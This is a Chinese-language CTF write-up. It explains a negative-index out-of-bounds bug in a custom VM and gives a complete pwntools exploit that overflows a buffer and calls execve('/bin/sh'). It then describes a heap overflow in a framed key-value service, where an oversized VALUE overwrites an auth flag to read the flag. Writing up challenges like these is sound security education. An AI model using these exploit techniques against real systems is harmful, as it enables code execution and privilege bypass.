v5 = std::operator<<<std::char_traits<char>>(&std::cout, "No syscall access!");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
}
this->leave_flag = 1;
}

可发现该函数仅能执行一次,因此我们需要其他的方式将 /bin/sh\x00 字符串放到可知的地址处

此时看到另一漏洞:vm_data_op 负索引越界

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void __cdecl VM::vm_data_op(VM *const this)
{
__int64 v1; // rax
__gnu_cxx::__alloc_traits<std::allocator<long unsigned int>,long unsigned int>::value_type v2; // rbx
__int64 v3; // rax
uint8_t optype; // [rsp+1Dh] [rbp-13h]
signed __int8 data_idx; // [rsp+1Eh] [rbp-12h]
signed __int8 reg_idx; // [rsp+1Fh] [rbp-11h]

optype = VM::getCode(this);
data_idx = VM::getCode(this);
reg_idx = VM::getCode(this);
if ( reg_idx > 3 )
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "reg index wrong!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
exit(this->exit_code);
}
if ( optype == 32 )
{
this->vm_data[data_idx] = *std::vector<unsigned long>::operator[](&this->vm_regs, reg_idx);
}
else
{
if ( optype != 33 )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "optype wrong!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
exit(this->exit_code);
}
v2 = this->vm_data[data_idx];
*std::vector<unsigned long>::operator[](&this->vm_regs, reg_idx) = v2;
}
}

data_idx 声明为 signed __int8,允许 -128 到 127 的值。当传入负数时,vm_data[-4] 实际访问的是 VM 对象中 vm_data vector 之前的字段——即std::function 字段,而该字段中是残留着堆地址信息的,因此可以先把 /bin/sh\x00 放到 vm_data 段内 ,再通过执行 optype==33将堆地址放到reg[1]内,然后通过reg计算使reg[1]指向 /bin/sh\x00 ,最后设置reg[0] == 59,reg[2] == 0,reg[3] == 0,执行vm_syscall即可getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python3
from pwn import *

filename = "pwn_patched"
libcname = "libc.so.6"
host = "127.0.0.1"
port = 34505
container_id = ""
proc_name = ""
elf = context.binary = ELF(filename)
context.terminal = ["foot", "-e"]
if libcname:
libc = ELF(libcname)
gs = '''
b main
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs,env={"SHELL":"/bin/sh"})

p = start()

OP_STACK, OP_DATA, OP_REGS, OP_SYSCALL, OP_EXIT = 0x01, 0x02, 0x03, 0x04, 0x05

REG_ADD,REG_SUB,REG_MUL,REG_AND,REG_OR,REG_XOR,REG_NOT,REG_MOV,REG_SHL,REG_SHR = \
0x30,0x31,0x32,0x34,0x35,0x36,0x37,0x38,0x39,0x40

def vm_push_imm(val, reg=0):
return bytes([OP_STACK, 0x10, reg]) + p64(val, endian='big')

def vm_pop(reg):
log.success(f"pop reg : {reg}")
return bytes([OP_STACK, 0x11, reg])

def vm_push_reg(reg):
log.success(f"push reg : {reg}")
return bytes([OP_STACK, 0x12, reg])

def vm_data_store(idx, reg):
return bytes([OP_DATA, 0x20, idx & 0xff, reg])

def vm_data_load(idx, reg):
log.success(f"load data : {reg}")
return bytes([OP_DATA, 0x21, idx & 0xff, reg])

def vm_mov(dst, src): return bytes([OP_REGS, REG_MOV, dst, src, 0])
def vm_add(dst, s1, s2): return bytes([OP_REGS, REG_ADD, dst, s1, s2])
def vm_sub(dst, s1, s2): return bytes([OP_REGS, REG_SUB, dst, s1, s2])
def vm_xor(dst, s1, s2): return bytes([OP_REGS, REG_XOR, dst, s1, s2])
def vm_shl(dst, s, sr): return bytes([OP_REGS, REG_SHL, dst, s, sr])
def vm_shr(dst, s, sr): return bytes([OP_REGS, REG_SHR, dst, s, sr])

def vm_set_reg(reg, val):
return vm_push_imm(val) + vm_pop(reg)

def vm_syscall(): return bytes([OP_SYSCALL])
def vm_exit(): return bytes([OP_EXIT])
def vm_end(): return b'\x00'

def send_code(code):
p.recvuntil(b'input your code:')
p.sendline(code)

def send_exit_buf(data):
p.recvuntil(b'set your exit code')
p.sendline(data)

main_addr = 0x4025bd


send_code(vm_exit())
send_exit_buf(b'8'*0xac+p64(main_addr))


code = vm_set_reg(0, u64(b"/bin/sh\x00"))
code += vm_data_store(0, 0)
code += vm_data_load(-4, 1)
code += vm_set_reg(2, 0x158)
code += vm_add(1, 1, 2)
code += vm_set_reg(0, 59)
code += vm_set_reg(2, 0)
code += vm_set_reg(3, 0)
code += vm_syscall()

send_code(code)
sleep(1)


p.interactive()

题呢

该题的服务的所有 I/O 用汉字编码:

  • = bit 0, = bit 1,MSB first,每字节 8 个汉字
  • 输入输出均为 UTF-8 编码的呢/题字符流

TineBuf 帧格式(解码后)

1
Magic(2=0x5449) Cmd(1) Seq(2) BodyLen(2) Body CRC8(1)

Body 内字段:

1
FID(1) FTYPE(1) FLEN(2,BE) DATA(FLEN)

CRC-8 仅对 Body 计算(poly=0x31, init=0xFF),不含帧头。

命令集

CMD 功能 必要字段
0x01 SET FID=1(KEY) + FID=2(BUFHINT,ftype=0x03,4字节u32) + FID=3(VALUE)
0x02 GET FID=1(KEY)
0x03 DEL FID=1(KEY)
0x04 读 flag 需要权限
主要漏洞为
SET 命令的 BUFHINT 字段告诉服务器分配多大的缓冲区,但实际写入的是 VALUE 的完整内容。当 len(VALUE) > BUFHINT 时发生堆溢出

利用过程

  1. 用 hint=1 分配极小缓冲区
  2. 发送 257 字节的 payload:前 256 字节为 \x00,第 257 字节为 \x01
  3. 溢出覆盖堆上偏移 256 处的连接级别权限标志位(auth flag)为 1
  4. 此时 CMD 0x04 不再返回 “permission denied”,而是返回 flag
  5. 返回数据用 0xFF 逐字节 XOR 加密,解密即得 flag